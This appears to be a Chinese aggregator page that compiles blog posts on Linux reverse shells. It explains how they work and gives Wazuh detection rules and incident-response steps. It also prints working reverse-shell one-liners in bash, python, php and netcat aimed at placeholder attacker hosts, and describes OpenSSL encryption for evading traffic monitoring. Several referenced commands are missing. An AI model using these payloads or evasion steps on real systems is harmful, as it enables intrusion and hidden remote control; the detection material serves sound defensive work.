反弹shell是什么(linux反弹shell知识汇总)

2024-05-16 04:50:03 :32

反弹shell是什么(linux反弹shell知识汇总)

大家好,今天小编来为大家解答以下的问题,关于反弹shell是什么,linux反弹shell知识汇总这个很多人还不知道,现在让我们一起来看看吧!

本文目录

linux反弹shell知识汇总

shell是渗透中常用的名词,像getshell,webshell,反弹shell等等,都和shell相关。 百度百科解释的shell: 在计算机科学中,Shell俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(命令解析器)。它类似于DOS下的command.com和后来的cmd.exe。它接收用户命令,然后调用相应的应用程序。 简单说用户通过壳访问操作系统内核的服务,也就是由壳到内核,执行系统命令。 getshell:获取到目标的命令执行权限 webshell:指网站后门,通过web服务进行命令执行 反弹shell:把命令行的输入输出转移到其它主机 1、webshell下执行命令不交互,为了方便提权或其它操作必须要反弹shell。 2、反弹shell相当于新增一个后门,当webshell被发现删除后权限不会丢失。 使用whereis命令去确定目标支持的反弹方法。 bash反弹是实战中用的最多的方法 把命令拆开分析: 1、bash -i代表在本地打开一个bash 2、/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接 3、》&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程vps 4、远程vps开启对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出。 需要目标主机安装了nc 使用其他版本的 nc 配合命名管道进行反弹: 首先使用socket与远程建立起连接,接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符,打印出来数值为3 0代表标准输入、1代表标准输出、2代表标准错误输出、3代表重定向到远程 接下来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了。 需要php关闭safe_mode选项,才可以使用exec函数。 使用php的exec函数执行方法1反弹shell的命令 使用php的fsockopen去反弹shell exec反弹 perl反弹 ruby反弹 lua反弹 通过上述命令反弹shell得到的shell并不能称为完全交互的shell,通常称之为’哑’shell。 通常存在以下缺点 因此有必要去获取一个完全交互的shell。 1、在哑 shell 中执行python,使用pty模块,创建一个原生的终端,命令如下: 运行完后 2、键入 Ctrl-Z暂停任务,切回到 VPS 的命令行中;在 VPS 中执行: 3、在哑 shell 中执行,得到一个完全交互的shell,支持命令补全、历史命令查看、语法高亮、vim等功能。 部分防护设备会对内外网传输流量进行审查,反弹shell执行命令都是以明文进行传输的,很容易被查杀。 因此需要将原始流量使用 openssl 加密,绕过流量审计设备。 1、首先vps上生成SSL证书的公钥/私钥对,信息懒得填,一直回车即可。 2、vps使用 OpenSSL 监听一个端口 3、目标主机执行反弹加密shell 反弹成功,成功接收到ssl流量加密的shell。 ***隐藏网址******隐藏网址******隐藏网址******隐藏网址******隐藏网址******隐藏网址***

Wauzh自定义反弹shell告警规则

常见反弹: bash -i 》& /dev/tcp/ip/port 0》&1 python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((’ip’,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call();" php -r ’exec("bash -i 》& /dev/tcp/ip/port 0》&1");’ php -r ’$sock=fsockopen("ip",port);exec("/bin/bash -i 《&3 》&3 2》&3");’ nc -e /bin/bash ip port 测试截图: nc: bash:反弹原理:简单来说就是被控制端发起对控制端监听端口的请求,并将命令行的输入输出转到控制端,相当于我们常见的客户端及服务端角色反转。 参考: ***隐藏网址*** ***隐藏网址*** ***隐藏网址*** ***隐藏网址*** ***隐藏网址*** 规则设计:如果bash进程有远程socket但是没有tty,那么就认定是一个反弹shell 1、检查/bin/bash进程(ps -ef|grep bash) 2、lsof -p $pid 3、遍历lsof结果 当TYPE中包含CHR且NAME中有(tty|pts|ptmx) TYPE中包含’IP’,并且该行包括关键字’ESTABLISHED’,并获取控制端IP信息,正则匹配-》和:之间的IP:(?《=-》)((2(5?\d{1,2})){3}(?=:) FD为’cwd’,展示该行的NAME wazuh配置 1、配置audit告警/bin/bash执行,agent端配置: auditctl -w /bin/bash -p x -F key=audit-wazuh-c 2、wazuh告警 rule.id:807923、依据audit内容调整规则, 但是wazuh是以日志为前提条件产生告警的,因此无法通过规则来触发执行,以下检测方式只能通过脚本执行:    exe="/bin/bash"+type=EXECVE+包含=“-i”    执行lsof -p $pid    判断TYPE中包含’IP’,并且该行包括关键字’ESTABLISHED’,并获取控制端IP信息,正则匹配-》和:之间的IP:(?《=-》)((2(5?\d{1,2})){3}(?=:) 4、通过端口以及进程来判断 客户端配置/bin/bash的监控:auditctl -w /bin/bash -p x -F key=audit-wazuh-c 配置执行命令:netstat -antlp | grep ESTABLISHED | egrep ’/(bash|sh)’  ( rule.id =100005) 当10005和80792同时出现时,存在反弹shell,告警100006 agent.conf 编写: 《agent_config》      《wodle name="command"》         《disabled》no《/disabled》         《tag》reverse shell test《/tag》         netstat -antlp | grep ESTABLISHED | egrep ’/(bash|sh)’《/command》 #查看是否存在以bash或者sh为名的远程连接         《interval》5s《/interval》         《ignore_output》no《/ignore_output》         《run_on_start》yes《/run_on_start》         《timeout》0《/timeout》     《/wodle》 《/agent_config》 decoders.xml编写 《decoder name="check_reverse_shell"》     《prematch》^tcp《/prematch》 《/decoder》 《decoder name="check_revsrse_shell_info"》     《parent》check_reverse_shell《/parent》 ***隐藏网址***     《order》send_q《/order》 《/decoder》 《decoder name="check_revsrse_shell_info"》     《parent》check_reverse_shell《/parent》     《regex offset="after_regex"》\s*(\d+\p\d+\p\d+\p\d+)《/regex》     《order》srcip《/order》 《/decoder》 《decoder name="check_revsrse_shell_info"》     《parent》check_reverse_shell《/parent》     《regex offset="after_regex"》\p(\d+)《/regex》     《order》srcport《/order》 《/decoder》 《decoder name="check_revsrse_shell_info"》     《parent》check_reverse_shell《/parent》     《regex offset="after_regex"》\s*(\d+\p\d+\p\d+\p\d+)《/regex》     《order》dstip《/order》 《/decoder》 《decoder name="check_revsrse_shell_info"》     《parent》check_reverse_shell《/parent》     《regex offset="after_regex"》\p(\d+)《/regex》     《order》dstport《/order》 《/decoder》 rule.xml编写 《group name="attack,"》     《rule id="100005" level="7"》  #不能在此就和80792匹配,官网没有找到答案,在默认规则里也没有找到,猜测可能是因为该条规则通过日志解析以及level配置后是必定会告警,但是与if_sid的前提条件产生先有蛋还是先有鸡的冲突,因此需要在规则匹配产生告警后,才能进一步去关联         《decoded_as》check_reverse_shell《/decoded_as》         《match》ESTABLISHED《/match》         《regex》/bash|/sh《/regex》         《description》bash|sh netstat information《/description》     《/rule》     《rule id="100006" level="12" timeframe="10" frequency="2"》         《if_sid》100005《/if_sid》         《if_matched_sid》80792《/if_matched_sid》         《description》There could be reverse shell.Plz check.《/description》     《/rule》 《/group》 告警展示

五步定位linux反弹shell

反弹shell定义:自行百度~ 明确反弹shell写法: bash -i 》& /dev/tcp/10.0.0.1/8080 0》&1 1、登录服务器查看命令:ps -ef,过滤出反弹shell的进程 2、定位进程启动路径,命令:pwdx pid 3、进入启动路径,确认启动的服务是否正常,命令:cd * 4、定位可疑文件,并删除。命令:rm 5、停止进程shell进程,命令:kill -9 pid 上图:

Shell反弹不出来怎么办

在渗透测试过程中,遇到shell无法反弹的情况,你是怎么处理的呢?通常情况下,web服务器都放在了DMZ里面,那么就造成了数据的只进不出的情况,数据不出就意味着无法反弹shell,但是他服务器的HTTP必须要出来,否则就无法响应访问了那么我们就利用这一点来下功夫吧:)工具有现成的了 —tunnaMickey牛写的tunna使用实例里面写的实例是tunna做远程终端数据转发,大部分人就以为tunna只能这样用了,

linux反弹shell 什么意思

简单来说,Shell就是实现用户命令的接口,通过这个接口我们就能实现对计算机的控制,比如我们常见的ssh就是执行的Shell命令实现对远程对服务器的控制。那反弹Shell是啥呢?其英文名叫做Reverse Shell,具体干什么的呢?就是控制端首先监听某个TCP/UDP端口,然后被控制端向这个端口发起一个请求,同时将自己命令行的输入输出转移到控制端,从而控制端就可以输入命令来控制被控端了。比如说,我们有两台主机A、B,我们最终想实现在A上控制B。那么如果用正向Shell,其实就是在A上输入B的连接地址,比如通过ssh连接到 B,连接成功之后,我们就可以在A上通过命令控制B了。如果用反向Shell,那就是在A上先开启一个监听端口,然后让B去连接A的这个端口,连接成功之后,A这边就能通过命令控制B了。反弹shell有什么用?还是原来的例子,我们想用A来控制B,如果想用ssh等命令来控制,那得输入B的sshd地址或者端口对吧?但是在很多情况下,由于防火墙、安全组、局域网、NAT等原因,我们实际上是无法直接连接到B的,比如:A虽然有公网IP,但B是一个处于内网的机器,A就没法直接连到B上。B上开了防火墙或者安全组限制,sshd的服务端口22被封闭了。B是一台拨号主机,其IP地址经常变动。假如B被攻击了,我们想让B向A汇报自己的状况,那自然就需要B主动去连接A。如果是这些情况,我们就可以用反弹Shell用A来控制B了。

利用 Bash 反弹 shell

利用 bash 反弹 shell 的方法很简单,百度一搜索就出来了,大部分都会给出这么一条命令

bash -i 》& /dev/tcp/ip/port 0》&1

但是为什么这样就能反弹一个 shell 呢?

》&

ls bebe 》& 1.txt bebe 这个文件夹是不存在的,这个时候会发生什么呢?

会报错吗?不会的,因为错误信息被重定向到 1.txt 文件里了

在 linux 系统里面,各种文件都有自己的标识符,0 代表的是标准输入,1 代表的是标准输出, 2 代表的是标准错误输出,在上面的例子里,因为不存在 bebe 这个文件夹,所以在使用 ls 命令时系统会返回一个错误信息,这就是一个标准错误输出,而如果 bebe 文件夹存在的时候会是什么样呢?为了显示区别,我在 bebe 文件夹创建了一个 test 文件

可以看到,当用 2》 重定向到 3.txt 时是失败了的,里面没有任何东西,前面说了,2 在 linux 系统中代表的是标准错误输出,但是此时 bebe 文件夹是存在的,里面也有文件,所以系统不会返回一个错误信息,而是一个标准输出文件,用 1》 就能正确操作了。

既然有 》 ,那么肯定就有 《 了,》 是将输出重定向, 《 正好是反过来,重定向输入

/dev/tcp/ip/port

与一台主机指定端口建立 socket 连接

0 》& 1

这里将输入重定向到输入,如果反过来会发生什么,嘿嘿,测试一下

看到没,我在 linux 执行命令,但是命令在 windows 显示出来了,但是命令的回显又是在 linux 本机显示的,这个顺序反了啊

最后

对于这个命令的执行,我也只是查了一些资料,简单测试了一下,从我的理解来看,第一个 》& 是把 bash -i 生成的交互式 shell 重定向到远程主机的 port 上,最后的 0》&1 则是把本该在 linux 上的回显再重定向到 bash 的输入,而此时 bash 的输入是在远程主机之中,这就实现了命令的执行和回显都在远程主机中,方便进行操作。

反弹shell基础

将这句话拆开来看, bash -i , 》& , /dev/tcp/ , 0》&1 ,有三个知识点。 (1) bash -i 是打开一个交互的bash (2) /dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。 (3) 》& 和 0》&1 这两个涉及到Linux文件描述符和重定向。此处的 & 是取地址符

(1)文件描述符 Linux启动时会默认打开三个文件描述符(实现文件读写操作),Linux把键盘、显示器等设备也当做文件用文件描述符进行控制,如果要修改默认设备就需要进行重定向。

(2)重定向 输入的重定向包括, 《 和 《《 ,输出的重定向包括, 》 和 》》 , n《 file 代表将文件描述符 n 重定向到file指代的文件(以只读方式打开),如果n省略就是0(标准输入)。同理如果是输出的重定向, n》 file ,n省略则默认是1。

错误输出的重定向有三种形式

其中, &》 和 》& 是一个意思,都是将标准错误输出合并到标准输出中。 2》&1 和 》file 可以用如下过程图表示

需要注意的是,上述输入输出重定向,将输入和输出绑定到文件或者设备只对该条指令有效,如果想要一直有效,就需要添加exec指令 exec n 《/》 file/n

(3)复制 与之形似的是文件描述符的复制 n《&m / n》&m ,这两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开,因为读/写方式对于复制操作几乎没有影响所以两者基本可以看作是等价的。这里的 & 目的是区分以数字为名字的文件和文件描述符的数值,如果没有 & 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是另一个文件描述符。

此时再来看这句命令,可与理解为,创建一个可交互的bash和一个到172.168.1.1:80的TCP链接,然后将bash的输入输出错误都重定向到在172.168.1.1:80监听的进程。

首先,反弹shell可以理解为,攻击者监听在TCP/UDP端口,被控制端的请求被转发到该端口,可以控制其输入输出。一般攻击者攻击了一台机器,并用自己的主机去连接该机器的端口,这是一种“正向连接”,远程桌面、web服务、ssh、telnet等都是正向连接的一种。但是如果被攻击的机器处于内网中可能造成无法连接,或者有防火墙等限制,再或者攻击者需要进行实时控制,正向连接是无法满足需要的。所以有了“反向连接”,即让被攻击的主机主动去连接攻击者的服务器。

所以我们还可以从反向连接的角度来理解一下 0》&1 。如果只是 bash -i 》& /dev/tcp/172.168.1.1/80 ,将输出描述符连接到了端口,该端口可接收到我们的输出,即我们正向连接了被攻击者的机器,但是我们输入shell后是无法看到回显的。回显只会显示在被攻击者的机器上。如果我们想要得到回显,需要将被攻击机器的输入描述符连接到我们监听的端口上。

也就是说如果我们想要看到回显,除了先将输出描述符连接到端口上,还需要将其输入描述符也连接到端口上。即输入描述符0和输出描述符1连接相同, 0》&1 即可解决。这就形成了一个回路,实现了远程交互式shell的功能。

不过这样的一条指令还不够完善,因为这条指令会使得我们在被攻击的机器上依然能看到我们在攻击者机器中执行的指令,那么解决办法就是将错误输出和标准输出进行混合,即将 bash -i 》 换为 bash -i 》&

Bash相关shell主要有以下几种:

刚才详细讲的是第一种bash shell,第二种是将 》& 这种错误输出的混合方式改成了 2》&1 ,2代表错误输出,1代表标准输出,2指向了1,即输出混合了。文件描述符的复制 n《&m / n》&m 两种虽然读写不同但是对于shell的效果是等价的,即和 0》&1 效果相同。所以第二种就是第一种的变种。第四种同理,输入、输出、报错都定位到同一位置。第五种选了一个新的文件描述符196,道理类似。

对于第三种bash shell,exec已经在前面提到过可以持续连接,后面的关键点如下:

从文件中依次读取每一行,将其赋值给 line 变量(其他也可),之后在循环中对line进行操作。这里不再从文件中读取,而是通过管道符对攻击者机器上输入的命令进行依次执行,并且将标准输出和标准错误输出都重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能。

另外,本文最开始的时候说到/dev/tcp/是Linux中的一个特殊设备类似的还有/dev/udp/,按照tcp的方式直接改成udp就行。 sh -i 》& /dev/udp/172.168.1.1/80 0》&1

除了bash还有很多其他借用第三方工具(nc、telnet、socat、xterm)或使用脚本语言(python、Perl、Ruby、Go、PHP、Lua、JAVA、gawk、Powershell)反弹shell的方式,这里就不一一列举了,原理类似。写这篇文章总结shell的过程中顺手将网络上的shell进行了收集,将近80条,写了BashShell.py,就是个简单的查询shell的工具,有需要的下方留言

关于kali下msf生成payload的LHOST问题,求解答

msf的payload中能建立反弹shell的,比如reverse_tcp,像是windows/meterpreter/reverse_tcp或者是android/meterpreter/reverse_tcp,它们的LHOST参数(LHOST就是Local host的意思)是攻击方的IP地址,用来监听对方的连接的。其实很好理解,反弹shell嘛,就是建立反弹连接的,当然是反弹到攻击主机了。如果不是建立反弹shell的payload,一般是没有LHOST的,取而代之的是RHOST参数,是目标主机的IP地址。

反弹shell窗口无法输命令

在反弹 shell 窗口中无法输入命令可能是因为命令输入被禁用了。这通常是因为反弹 shell 窗口的权限受到限制,或者是因为该窗口被设置为只读模式。如果您没有足够的权限来输入命令,则需要通过其他方式获取更高的权限,例如使用提权工具或者利用漏洞提权。如果该窗口被设置为只读模式,则需要使用其他反弹 shell 窗口或者其他方式来执行命令。另外,如果您使用的是某些反弹 shell 工具,例如 Netcat,可能需要手动输入换行符才能输入命令。您可以尝试按下回车键或者手动输入换行符来解决该问题。

关于反弹shell是什么到此分享完毕,希望能帮助到您。

反弹shell是什么(linux反弹shell知识汇总)

本文编辑:admin
Copyright © 2022 All Rights Reserved 威海上格软件有限公司 版权所有

鲁ICP备20007704号

Thanks for visiting my site.